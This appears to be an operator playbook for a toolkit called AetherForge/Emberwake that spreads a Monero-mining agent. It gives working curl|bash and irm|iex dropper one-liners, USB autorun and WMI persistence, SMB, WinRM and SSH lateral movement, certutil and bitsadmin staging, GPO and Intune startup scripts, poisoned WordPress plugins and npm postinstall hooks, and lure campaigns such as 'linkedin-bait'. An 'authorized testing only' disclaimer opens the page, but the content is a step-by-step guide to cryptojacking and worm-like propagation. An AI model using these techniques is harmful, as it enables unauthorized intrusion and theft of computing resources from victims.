Spread Techniques Playbook
Red-team / threat-intelligence vectors mapped to AetherForge + Emberwake capabilities. For authorized penetration testing, lab environments, and defensive planning only. Landscape as of 2024–2026.
Use Emberwake for campaign builder, spread-kit export, supply-chain wizards, and War Room analytics. This page is the operator playbook — Emberwake stays focused on actions, not tutorials.
What does NOT work anymore
Modern browsers require a user click + run. Silent drive-by RCE, auto-run from Downloads,
and CRX sideload via normal download are dead paths for commodity ops.
| Technique | Status | Why |
|---|---|---|
| Silent browser RCE (visit → shell) | Dead | Chromium sandboxes, site isolation, removed plugins |
| Auto-run from Downloads | Dead | SmartScreen, MoTW, user-gesture requirements |
| Flash/Java plugin drive-by | Dead | Plugins removed or click-to-play extinct |
Unauthenticated curl | bash on cautious admins | Hard | Pipe-to-shell fingerprinting; inspect-before-run mitigations |
| CRX sideload via download | Dead | DownloadRestrictions; store policy blocks casual sideload |
AetherForge stack — has vs needs
| Capability | Status |
|---|---|
GET /get, /install.sh, /install.ps1 with ?pin= + ?c= | Working |
Spread Kit ZIP export + static lander at /spread/ | Working |
| Emberwake campaign builder + War Room funnel | Working |
| WordPress plugin + npm helper export wizards | Working |
| Fusion media ZIP bundles | Working |
| USB perpetual propagation (forge flag) | Working |
| LAN autospread / share spread | Working |
| SocGholish fake-update branded lander | Stub |
| JS fingerprint / TDS gate | Needs |
| OAuth redirect helper | Needs |
| Public npm/PyPI typosquat publish | Out of scope |
Source matrix (markdown): SPREAD_TECHNIQUES.md
Web waterhole — dropper landing
Working Owned-origin button/link → /get or spread-kit ZIP.
Prerequisites
- Forged build (pin optional) on your command deck
- Public URL in Calibrate or tunnel to deck
- Static host you control (same origin or Cloudflare Pages)
Emberwake steps
- Open Emberwake → set campaign slug and pinned build.
- Copy dropper URL or export spread-kit ZIP.
- Deploy static lander — on-server copy at /spread/ or upload exported kit.
- Link visitors to
{deck}/get?pin={id}&c={slug}or platform-detect/get. - Track hits in Emberwake → Campaign War Room.
Platform notes
Windows: SmartScreen + MoTW on executables. Pair with code signing (sign_build) to reduce friction.
curl | bash — headless server drops
Working install.sh / install.ps1 one-liners for Linux/macOS/Windows Server.
Prerequisites
- Deck reachable from target VPS (TLS recommended)
- Linux/macOS: Web Drop forge preset or minimal headless build
- Windows Server: AMSI / Constrained Language may block
irm | iex
Emberwake steps
- Emberwake → Campaign builder: set
?c=slug and pin build. - Copy bash / PowerShell / macOS one-liners from the builder card.
- Publish on first-party install docs page you operate.
- Agent reports
AETHER_CAMPAIGNon connect → War Room funnel.
# Linux server
curl -sL https://your.site/install.sh?pin={build_id}&c=docs | bash
# Windows Server
irm https://your.site/install.ps1?pin={build_id}&c=docs | iexCampaign links & War Room
Working Attribution via ?c=slug on dropper and public download URLs.
Prerequisites
- At least one forged build
- Campaign slug per lure wave (e.g.
linkedin-bait,wp-my-blog)
Emberwake steps
- Set campaign slug in Campaign builder; append to every dropper/public URL.
- Optional A/B: pin Build A vs Build B with
?c=slugand?c=slug-b. - Share links; War Room polls every 15s + WebSocket
emberwake_war_room. - Read funnel: hits → downloads → first beacon → mining → hashrate per slug.
Endpoints
| Endpoint | Purpose |
|---|---|
GET /get?c= | Platform-detect download + campaign log |
GET /api/v1/public/download/{id}?c= | Public artifact + campaign log |
GET /api/v1/emberwake/war-room?days=7 | Funnel board data (auth) |
Fusion media — codec / tool download
Working Movie or prep fusion ZIP with disguised runner names.
Prerequisites
- Desktop Fusion spread profile or manual fusion flags at forge
- Themed landing page on owned site
- Optional: code signing to reduce SmartScreen prompts
Emberwake / forge steps
- Mission Deck → Desktop Fusion profile → forge universal bundle.
- Host fusion ZIP on themed site (“codec pack”, “portable tool”).
- Tag downloads with
?c=fusion-wave1via public URL or manual campaign env. - Universal bundle auto-picks
Deploy.bat/deploy.shinside spread-kit scripts.
Detection risk: medium (large ZIP, SmartScreen). User must still run extracted payload.
Tag campaign in Emberwake →USB perpetual propagation
Working Forge-time USB Propagation flag — not an Emberwake export.
Prerequisites
- Forge with
usb_spreadenabled (LAN Kindling profile includes USB) - Physical access path to insert USB on target Windows hosts
How it works
- Within ~8s of USB insert: drop agent to hidden folder, write
autorun.inf, LNK,SETUP.BAT. - Create decoy folder; WMI subscription for future mounts.
- Modern Windows limits autorun — user interaction often still required.
See wiki USB Portable for deck-on-stick packaging.
Forge with USB flag →LAN kindling — lateral spread
Working Universal spread kit + auto_spread / share_spread.
Prerequisites
- LAN Kindling spread profile at forge (universal kit + autospread)
- At least one patient zero on the subnet
- C2 auth for aggressive lateral commands (Crucible ops separate profile)
Emberwake / forge steps
- Mission Deck → LAN Kindling → forge spread-kit universal ZIP.
- Deploy patient zero via waterhole or curl|bash with campaign tag.
- Agent scans subnet (ARP-first /24 + /64) via
deploy/subnet.go. - Windows: SMB
admin$, WinRM; Linux/macOS: SSH lateral (gated). - UNC spread (LOTL):
spread_smb_unc—sc.exe \\host create/startwithbinPath=on a Forge output UNC (\\forge\pathforge$\worker.exe). Pure LOLBins:sc.exe,net.exe. Path Tracer:POST /api/v1/pathtrace/spreaddispatches on the egress hop. - Staging chain (LOTL):
stage_fetch— download chunks viacurl.exeorbitsadmin,certutil -decode, verify SHA256 from server, launch viarundll32or exe. Staging paths use the same traversal hygiene as upload/download.
WinRM bootstrap — encoded registration
Working Export from Crucible → Spread Templates or POST /api/v1/builder/spread-template-export.
Prerequisites
- Owned/lab Windows hosts with remoting enabled or rights to run
Enable-PSRemoting - Patient zero with
auto_spreadorwinrm_spreadforge flag for lateral encoded bootstrap
How it works
- Template runs
Enable-PSRemoting+ base64-encoded bootstrap that fetches/getwith?pin=/?c=. - Agent starts with
--spread-install --defer-mining— mining begins only aftermining_diagnosticspasses on C2. - Optional COM hijack under benign CLSID — default off; enable only on owned machines via export checkbox.
- Autospread also attempts WinRM lateral when port 5985/5986 is open on subnet peers.
API body: { "template": "winrm", "com_hijack": false }
Linux LOTL — systemd-run & crontab
Working SSH lateral spread + LOTL persistence options.
Prerequisites
- Passwordless SSH keys for lateral targets (
BatchMode=yes) - Forge
linux_lotl_mode:systemd_run_user,crontab, orboth
How it works
autospread_unix.goSCP + SSH with--spread-install --defer-mining.- Template
lotl-bootstrap.sh: curl/get?os=linux, optionalsystemd-run --userand/or crontab@reboot. - When no CUDA: fallback chain adds
linux_pyopencltier viapython3 -c import pyopenclprobe beforestratum_direct.
Export: { "template": "linux-lotl", "lotl_mode": "both" }
GPO / Intune enterprise spread
Working Startup scripts pull agent binary — mining policy stays server-side, not in the GPO/Intune blob.
Prerequisites
- AD GPO edit rights or Intune script assignment on owned tenant
- Reachable command deck URL from domain endpoints
How it works
- GPO: Computer Configuration → Scripts → Startup →
gpo-startup.ps1(irm install.ps1 or fetch worker). - Intune: Assign
intune-startup.ps1as proactive remediation / platform script. - Each boot: agent registers, pulls server config, runs fallback chain: container → inprocess → gpu_subprocess → stratum_direct.
AETHER_DEFER_MINING=1/--defer-mininguntil diagnostics pass.
Export templates: gpo and intune via spread-template-export. Crucible → Spread tab → Spread Templates.
WordPress plugin — owned-site supply chain
Working Export plugin ZIP from Emberwake — upload to your WordPress host only.
Prerequisites
- WordPress installation you operate (not wordpress.org directory)
- Pinned build in Emberwake supply-chain wizard
Emberwake steps
- Emberwake → Supply-chain wizard → WordPress → pick build, site name, server URL.
- Download
{slug}-wordpress-plugin.zip. - WP Admin → Plugins → Add New → Upload → Activate.
- Admin notice links to
/get?c=wp-{site}on your deck. - Track
wp-{site}in War Room.
Hosting checklist
- Unzip locally — layout
{slug}/{slug}.php+readme.txt - Upload ZIP via Plugins → Add New → Upload Plugin
- Activate on owned host; verify Tools page + admin notice URL
- Confirm War Room shows hits for
wp-{site}
API: POST /api/v1/builder/wordpress-plugin-export
npm postinstall helper — your packages only
Working Private package template — postinstall curls your install.sh.
Prerequisites
- Registry you control (private npm, Verdaccio, GitHub Packages)
- Authorized CI/dev environments only — not public typosquat
Emberwake steps
- Emberwake → Supply-chain wizard → npm → set server URL, campaign, optional pin.
- Download helper ZIP; adjust
package.jsonname if needed. - Publish to your registry; add as dependency in authorized projects.
npm installruns postinstall →install.sh?c=…&pin=….
Hosting checklist
- Unzip npm helper template
- Publish with
npm publish --access restricted - Add dependency in authorized pipeline only
- Verify agent connect + War Room campaign slug
API: POST /api/v1/builder/npm-helper-export
LOTL Onion — native-tool spread tier chain
Working Forge preset adjacent to AV-Safe: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
Default tier order (vuln recon → GPO)
Baked at forge time; when lotl_policy_from_server is enabled the agent pulls the live order from
server.lotl_onion_tiers in Calibrate on WebSocket auth — no re-forge to reorder.
| Tier | Definition | Example |
|---|---|---|
| vuln_recon | Read-only KEV/CVE/service probe before spread — report-only, no exploit. Feeds vuln_findings and patch_first gates. |
Automatic triple-onion recon tier, or Crucible full_sys_check → risk badge on next stats_batch. |
| docker | Deploy or mine inside Docker/Podman — isolated RandomX, no host miner exe drop. | Service allowlist maps com.docker.service → docker_load; Probe & Join when Docker is running. |
| wsl | WSL curl|bash one-liner when native Windows execution is blocked. | wsl -e bash -c "curl -sL https://deck.example/install.sh?pin=BUILD_ID | bash" |
| powershell | Hidden PS bootstrap or remoting from your C2 origin — no standalone payload exe. | irm https://deck.example/install.ps1?pin=BUILD_ID&c=lab | iex — WinRM template export. |
| dotnet | dotnet tool run bootstrap — avoids a lone unsigned miner exe on disk. |
Forge miner_execution=dotnet; spread lane runs dotnet bootstrap from install manifest. |
| bits_curl | BITS (bitsadmin) or curl.exe staging — optional certutil -decode, SHA256 verify, launch. |
Crucible stage_fetch: {"method":"curl","chunks":[{"url":"https://deck/chunk1.b64","file":"c1.b64"}],"sha256":"…","dest":"%TEMP%\\worker.exe","launch":"exe"} |
| do_peer | DoSvc + BITS shadow cache handoff — hash-verified peer chunk staging on LAN; launch via rundll32 or exe with --defer-mining. |
Probe & Join when DoSvc is running — signed plan: {"join_lane":"do_peer","peer_group":"af-peer-…","manifest":{"method":"bits","launch":"rundll32","defer_mining":true}} |
| wsus_cache_peer | WSUS offline cache cousin — stages beside SoftwareDistribution\Download; probes Wuauserv/AU registry; hash verify + rundll32/exe with --defer-mining. |
Forge wsus_cache_peer_spread ON — Wuauserv → join_lane: wsus_cache_peer (priority after do_peer). |
| dns_txt | DNS TXT mesh — shards in _aether.<zone>; agent nslookup/Resolve-DnsName, assemble, SHA256 verify. Policy refresh via TXT TTL; tests use /api/v1/public/dns-txt/{record} fallback. |
Forge dns_txt_spread default ON — signed plan: {"join_lane":"dns_txt","dns_txt_zone":"lab.internal","dns_txt_records":["_aether.shard0.lab.internal"],"ttl_refresh_sec":300} |
| webrtc_mesh | WebRTC LAN seed — first subnet agent seeder; manifest over data channel (STUN from server, WS relay signaling). Real: WebRTC bytes stay LAN; server sees hashrate + join_lane only. Tests: LAN HTTP fallback at /api/v1/public/webrtc-mesh/manifest. |
Forge webrtc_mesh_spread default OFF — Calibrate webrtc_mesh_policy.rotation_hours: 24 for seeder rotation. |
smb (spread_smb_unc) |
admin$ / C$ lateral via sc.exe + net.exe on open port 445 — no PsExec. |
{"action":"spread_smb_unc","path":"\\\\forge-host\\pathforge$\\worker.exe"} |
| winrm | Opportunistic PS remoting when 5985/5986 responds on subnet peers. | POST /api/v1/builder/spread-template-export {"template":"winrm","com_hijack":false} |
linux (linux_lotl) |
SSH/SCP lateral on Unix agents — same wallet; optional systemd-run or crontab persistence. | {"template":"linux-lotl","lotl_mode":"both"} — lotl-bootstrap.sh + autospread_unix.go. |
| gpo | AD Group Policy startup script pulls worker on boot — mining policy stays on command deck. | Export {"template":"gpo"} → Computer Configuration → Scripts → Startup → gpo-startup.ps1. Intune: {"template":"intune"}. |
Forge steps
- Forge → Operation mode → LOTL Onion (or enable
lotl_onion_enabledin Advanced). - Set XMR Wallet Address — same field as every other preset; payout goes here.
- Forge once; tier order updates via server config when policy-from-server is on.
Third-party platforms & gaps
Techniques on infrastructure you do not fully control. Most require separate publish pipelines.
| Technique | Status | Notes |
|---|---|---|
| GitHub Releases / raw CDN | Partial | Build artifacts exist; separate release pipeline from C2 host |
| S3 / Cloudflare Pages / R2 | Partial | Deploy exported spread-kit ZIP off C2; platform abuse ML risk |
| npm / PyPI / Docker Hub typosquat | Out of scope | Use npm helper on registries you own |
| WordPress.org plugin compromise | Out of scope | Owned-site upload wizard only |
| Fake browser update (SocGholish) | Stub | Dropper works; branded HTML lander not shipped |
| JS fingerprint / TDS gate | Needs | Filter bots/geo before showing download |
| Service worker / WASM redirect | Needs | Research paths; still ends at user-run binary |
Full research matrix: SPREAD_TECHNIQUES.md
Social engineering funnel
Email / ads → owned lander → download. AetherForge maps the last mile once user reaches your origin.
?c=on/get+ War Room